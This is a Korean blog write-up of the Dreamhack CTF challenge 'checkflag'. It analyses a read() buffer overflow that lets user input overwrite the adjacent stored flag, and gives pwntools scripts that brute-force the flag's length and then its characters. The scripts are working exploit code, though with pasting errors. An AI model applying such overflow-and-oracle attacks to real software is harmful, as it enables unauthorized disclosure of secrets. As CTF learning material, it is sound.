[Dreamhack] checkflag

Peroro·2022년 8월 29일
0

[Dreamhack] Checkflag

우선 해당 바이너리를 IDA로 디컴파일했을 때 나오는 코드이다.

첫번째로 해당 repo에 flag라는 파일이 있어야 실행이 된다. 그렇지 않다면 LABEL 8으로 넘어가 종료가 된다. v5가 flag의 값을 받게 된다면 그 값을 v6에 옮기고 fgets함수를 통해 그 값을 v11에 넘겨주고, v6가 종료됨에 따라 종료된다.

fputs()함수를 통해 "What's the flag? "라는 문구를 출력하게 되고 read함수를 통해 v10은 0xc8(200)만큼을 입력받게 된다.

v11과 v7이 같거나 작을 때, 그리고 v10과 v11의 문자열이 같게되면 correct!가 출력이 되고, 그렇지 않다면 Failed가 출력이 된다.

취약점 분석

우선 취약점들을 설명하자면, v10이 입력받는 read함수를 통해 BOF가 일어난다는 점과, v10과 v11이 붙어있다는 점이다. v10의 크기는 64이고 read함수를 통해 받는 크기는 0xc8(200)이기 때문에 버퍼오버플로우가 일어날 수 있게 된다. v7의 경우 v10의 길이를 입력받는다. 만약 v10의 크기를 넘어서는 값을 받게 된다면 v11에 나머지의 값이 바뀔 수도 있다. 이를 증명하기 위해 나는 gdb를 열어보았다.

우선 read에 break를 걸고 read앞까지 run을 돌려보았다. read 함수의 buf는 0x7fffffffe2f0, flag의 값(hare{Veritas_hare}\n)은 0x7fffffffe330이다. flag의 값은 v11에 위치한다고 앞에서 설명했다. 즉, v10과 v11은 0x40만큼 차이난다는 것을 알 수 있다. 또한 BOF가 일어난다고 했으니 v11을 덮을 수 있음을 알 수 있다.

v11을 잘 덮으면서 v10의 값을 조금씩 변화시킨다면(brute force) 무슨 값인지 유추해볼 수 있을 것이다.

Exploit code

from pwn import *

context.log_level = 'debug'

flaglen = 0x40;

for i in range(0x40): 
  p = process('./checkflag')

#p = remote('host3.dreamhack.games', 14552)

payload = b'a'*(0x40-i-1) //v10
payload += b'\x00'*(i+1)

payload += b'a'*(0x40-i-1) //v11

p.sendafter('flag? ', payload)

if b'Correct!' in p.recvline():
    flaglen -= 1;
    p.close()
else:
    p.close()
    break

print("flag_len :" + hex(flaglen))
  


우선 flag의 길이를 먼저 재보자. v10과 v11은 같은 값 a로 덮는다. 그러나, 덮는 a의 길이를 점차적으로 줄인다. 그렇게 되면 v10의 값은 여전히 a이지만, v11은 flag의 값이 점차 드러나게 된다. 만약 Failed가 나오게 된다면 flaglen을 구할 수 있게 된다.

	flag = b'\n'

	for i in range(flaglen):
		for j in range(0x20, 0x7f):
    		p = process('./checkflag')
   			#p = remote('host3.dreamhack.games', 14552)

    		buf = b'a' * (flaglen-i-1)
    		buf += bytes([j])
    		buf += flag
    		buf += b'\x00' * (0x40 - len(buf))

    		buf += b'a' * (flaglen-i-1)

    		p.sendafter('flag? ', buf)

    		if b'Correct!' in p.recvline():
        		flag = bytes([j]) + flag
        		print(flag)
        		p.close()
        		break
    		else:
        		p.close()

처음에는 길이를 알았으니, 이제는 디테일한 값을 알아낼 차례이다. 우선 flag에 초기 값이 다른데 '\x00'이나 '\n'중 하나이다. flag를 내가 만들었을 때는 자연스럽게 개행문자가 저장이 되지만, dreamhack에서는 '\x00'으로 끝나게 되어있었다. 이 떄문에 공격이 늦어진 이유중 하나였다(0x20 ~ 0x7e까지 값 밖에 비교하지 않기 때문).

만약 flag의 길이가 0x10이라고 하면 우리는 처음에 15번째 값을 구하고 싶을 것이다(개행문자 때문). v11(flag의 값)에서 14번째까지 a로 채우고 v10에서 14번째까지의 값은 a로 채우고 15번째의 값을 0x20 ~ 0x7e의 ascii code를 비교한다. 그러면 언젠가는 Correct! 문구를 띄울 수 밖에 없다.

만약 Correct 문구를 띄우게 된다면 15번째의 문자는 구한 것이다. 그럼 이제 14번째 값을 구하러 가자. 마찬가지로 v11, v10 모두 13번째까지 a로 뒤덮는다. 그리고 v10의 14번째 문자에도 0x20~ 0x7e의 ascii code를 넣어서 비교를 한다.

이러한 방식으로 각 문자를 구하면 된다. 단, v10에는 항상 0x40만큼의 문자가 들어가야한다. 스크립트를 짜면서 이를 고려하지 못해서 계속해서 오류가 났다. 결과

local에서 잘 나오는 것을 볼 수 있다.

remote했을 때도 역시 잘 나온다.

remote와 local의 차이는 위에 있는 코드에서 주석처리를 어디했느냐에 차이이다.

profile
오늘 공부한 것을 올리는 공간

0개의 댓글